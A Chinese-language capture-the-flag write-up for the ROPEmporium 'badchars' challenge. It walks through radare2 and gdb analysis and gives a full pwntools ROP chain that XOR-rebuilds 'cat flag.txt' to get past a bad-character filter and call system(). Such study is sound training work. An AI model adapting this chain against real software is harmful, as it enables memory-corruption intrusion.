前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。
操作
来到第五关
先使用rabin2 –I看一下基础的信息
然后通过r2加载调试分析
afl查看函数
可以看到在usefulFunction后还有两个函数,分别是nstrlen,checkBadchars
结合题目的提示
这函数应该是用于检查exp中是否有坏字符的
直接运行badchars,就可以看到坏字符了
这些就是我们这次在开发exp时需要避免的
还是和以前一样,看看关键函数的反汇编
可以看到在pwnme函数中已经给出了坏字符,同时还调用了新的两个函数以及fgets()
再看看usefulFunction
和前面的关卡一样,也是调用了system,执行ls命令
接下来我们通过gdb分析得到覆盖rsp寄存器的偏移
可以看到输入40字节后将会覆盖rsp
回到坏字符的话题来,我们在写exp时用的是十六进制,所以先将这些坏字符转为16进制
另外,空格为
即:
坏字符的16进制分别是
0x62 0x69 0x63 0x2f 0x20 0x66 0x6e 0x73
在使用ropgadgets时通过—badbytes即可过滤掉包含坏字符的项
接下来的任务和上一关就一样了,显示找到mov…ret的,然后找对应的pop
这里已经找好了
地址为0x400b34,0x400b3b
不过因为坏字符的原因,我们无法直接写入cat flag.txt
这时候常用的解决办法是异或
先找到xor的gadget
通过这个gadget我们可以将r14寄存器的值与内存中的值进行异或
所以我们的思路就来了:
我们强行凑对,我们的字符串不直接写cat flag.txt,而是用其他字符代替,这些字符与另外的特定字符异或后会得到cat flag.txt,这样就绕过了坏字符不允许我们直接传入cat flag.txt 的限制
以首字母c为例,哪些字符异或后可以得到c呢?
我们写一个简单的python脚本跑一下就知道了
完整代码在51.py
import string
for x in string.printable:
for y in range(16):
if chr(ord(x) ^ y) == 'c':
print(x + ' ' + str(y))
运行如图
打印出来的意思就是a和2异或可以得到c,其他的一对对也是同样。
因为c是坏字符,这样的话我们就可以用a代替c然后与2异或,从而得到c
这样就解决了坏字符的限制
现在可以写exp了,关键点包括:
- 用aat!alag.txt代替cat flag.txt
- 使用pop gadgets来pop字符串中受限制字符的地址和对应的字符异或,从而得到所需的字符
- 为所有被替换了的字符做相应的操作
- 使用pop,将字符串的地址写入rdi寄存器
- 调用system()最后得到flag
完整代码在52.py
from pwn import *
def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):
while len(string) % 8 != 0:
string += "\x00"
splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""
for i in range(len(splitted_string)):
# Place the gadgets into the payload.
payload += p64(pop_gadget_address)
payload += splitted_string[i]
payload += p64(string_address + (i * 8))
payload += p64(mov_gadget_address)
return payload
offset = 'A' * 40
offset += place_string_at_address(0x400b34, 0x400b3b, 0x601071, "aat!alag.txt")
# Now we're XORing values from string.
# 2 ^ 'a' = 'c'
offset += p64(0x0000000000400b40)
offset += p64(0x2)
offset += p64(0x601071)
offset += p64(0x0000000000400b30)
# 1 ^ '!' = ' '
# String address is 0x601071 because if we would have 0x601070
# address of second XORed character would end with 0x73, which
# is restricted.
offset += p64(0x0000000000400b40)
offset += p64(0x1)
offset += p64(0x601074)
offset += p64(0x0000000000400b30)
# 7 ^ 'a' = 'f'
offset += p64(0x0000000000400b40)
offset += p64(0x7)
offset += p64(0x601075)
offset += p64(0x0000000000400b30)
# Pop address of string into RDI and call system()
offset += p64(0x0000000000400b39)
offset += p64(0x601071)
offset += p64(0x004009e8)
print(offset)
运行如下
打印出了flag